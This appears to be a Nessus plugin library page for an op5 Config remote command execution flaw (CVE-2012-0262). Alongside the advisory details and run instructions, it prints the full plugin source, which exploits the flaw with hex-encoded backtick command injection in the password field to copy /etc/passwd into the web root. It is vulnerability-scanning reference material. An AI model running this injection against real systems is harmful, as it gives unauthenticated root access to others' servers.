op5 Config Arbitrary Command Execution - Nessus

Critical   Plugin ID: 57578

This page contains detailed information about the op5 Config Arbitrary Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 57578
Name: op5 Config Arbitrary Command Execution
Filename: op5_config_command_execution.nasl
Vulnerability Published: 2011-12-29
This Plugin Published: 2012-01-17
Last Modification Time: 2021-01-19
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: op5_portal_detect.nasl
Required KB Items [?]: www/op5_portal
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: Critical
Vulnerability Published: 2011-12-29
Patch Published: 2011-12-29
CVE [?]: CVE-2012-0262
CPE [?]: cpe:/a:op5:system-op5config

Synopsis

The remote web server hosts a PHP application that is vulnerable to arbitrary command execution.

Description

The version of op5 Config hosted on the remote web server is earlier than 2.0.3. As such, it contains a flaw on its welcome page that allows a remote, unauthenticated attacker to run arbitrary commands with root privileges simply by enclosing them in backticks in the password field.

Solution

Upgrade op5 Config to version 2.0.3 or later.

Public Exploits


Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the op5 Config Arbitrary Command Execution vulnerability:

  1. Metasploit: exploit/multi/http/op5_welcome
    [OP5 welcome Remote Command Execution]
  2. Exploit-DB: exploits/multiple/webapps/41687.rb
    [EDB-41687: OP5 5.3.5/5.4.0/5.4.2/5.5.0/5.5.1 - 'welcome' Remote Command Execution (Metasploit)]
  3. D2 Elliot: op5_monitor_5.5_rce.html
    [OP5 Monitor 5.5 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)

Go back to menu.

Plugin Source


This is the op5_config_command_execution.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(57578);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2012-0262");
  script_bugtraq_id(51212);

  script_name(english:"op5 Config Arbitrary Command Execution");
  script_summary(english:"Attempts to execute a command.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP application that is vulnerable to
arbitrary command execution.");
  script_set_attribute(attribute:"description", value:
"The version of op5 Config hosted on the remote web server is earlier
than 2.0.3.  As such, it contains a flaw on its welcome page that
allows a remote, unauthenticated attacker to run arbitrary commands
with root privileges simply by enclosing them in backticks in the
password field.");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?24b0cd28");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fcd924ab");
  script_set_attribute(attribute:"solution", value:"Upgrade op5 Config to version 2.0.3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"d2_elliot_name", value:"OP5 Monitor 5.5 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'OP5 welcome Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/12/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/12/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/01/17");

  script_set_attribute(attribute:"cpe", value:"cpe:/a:op5:system-op5config");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("op5_portal_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/op5_portal");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

global_var dir, file, port;

function encode()
{
  local_var cmd, i, res;

  cmd = _FCT_ANON_ARGS[0];

  res = 'eval $(echo -ne "';

  for (i = 0; i < strlen(cmd); i++)
  {
    res += "\x" + hexstr(cmd[i]);
  }

  res += '")';

  return res;
}

function run_cmd()
{
  local_var cmd, hdrs;

  cmd = _FCT_ANON_ARGS[0];

  # Convert command to hex encoding for echo. This is necessary due to
  # several characters (notably '|', '>', and ';') being filtered.
  cmd = encode(cmd);

  # Add backticks to cause our command to be executed by PHP.
  cmd = "`" + cmd + "`";

  # Convert command to percent encoding for HTTP.
  cmd = urlencode(str:cmd);

  # Send the command to the server an an HTTP POST request.
  hdrs = make_array(
    "Content-Type", "application/x-www-form-urlencoded"
  );

  http_send_recv3(
    port         : port,
    method       : "POST",
    item         : dir + "/op5config/welcome",
    data         : "do=do%3dLogin&password=" + cmd,
    add_headers  : hdrs,
    exit_on_fail : TRUE
  );
}

# Get details of the op5 Portal install.
port = get_http_port(default:443);

install = get_install_from_kb(appname:"op5_portal", port:port, exit_on_fail:TRUE);
dir = install["dir"];

# Generate a unique filename.
file = (SCRIPT_NAME - ".nasl") + "-" + rand() + ".html";

# Attempt to run a command on the remote host. This runs, by default,
# as root:apache with / as the working directory.
run_cmd("/usr/bin/find / -type d -name op5config -exec cp /etc/passwd {}/" + file + " \;");
req = http_last_sent_request();

# Check if the file that the previous command was trying to generate
# exists.
url = dir + "/op5config/" + file;
res = http_send_recv3(
  port   : port,
  method : "GET",
  item   : url
);

# Attempt to clean up the file(s) created by the previous command.
run_cmd("find / -type f -name " + file + " -delete");

if (isnull(res))
  exit(1, "HTTP request for " + build_url(port:port, qs:url) + " failed.");

# Check if the command we ran gave us the expected output.
if (!egrep(string:res[2], pattern:"root:.*:0:[01]:.*:"))
  exit(0, "The web server on port " + port + " is not affected.");

# Report our findings.
report = NULL;
if (report_verbosity > 0)
{
  bar = crap(data:"-", length:30);
  bar = bar + " snip " + bar;
  res[2] = data_protection::redact_etc_passwd(output:res[2]);
  report =
    '\nNessus was able to verify the issue using the following request :' +
    '\n' +
    '\n' + req +
    '\n' +
    '\nWhich returned the following file contents :'+
    '\n' +
    '\n' + bar +
    '\n' + res[2] +
    '\n' + bar +
    '\n';
}
security_hole(port:port, extra:report);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/op5_config_command_execution.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\op5_config_command_execution.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/op5_config_command_execution.nasl

Go back to menu.

How to Run


Here is how to run the op5 Config Arbitrary Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select op5 Config Arbitrary Command Execution plugin ID 57578.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl op5_config_command_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a op5_config_command_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - op5_config_command_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state op5_config_command_execution.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 57580 - op5 Monitor Persistent Session Cookie
  • 57576 - op5 Portal Arbitrary Command Execution
  • 66268 - op5 Monitor < 5.7.3 Multiple Vulnerabilities

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file op5_config_command_execution.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

Go back to menu.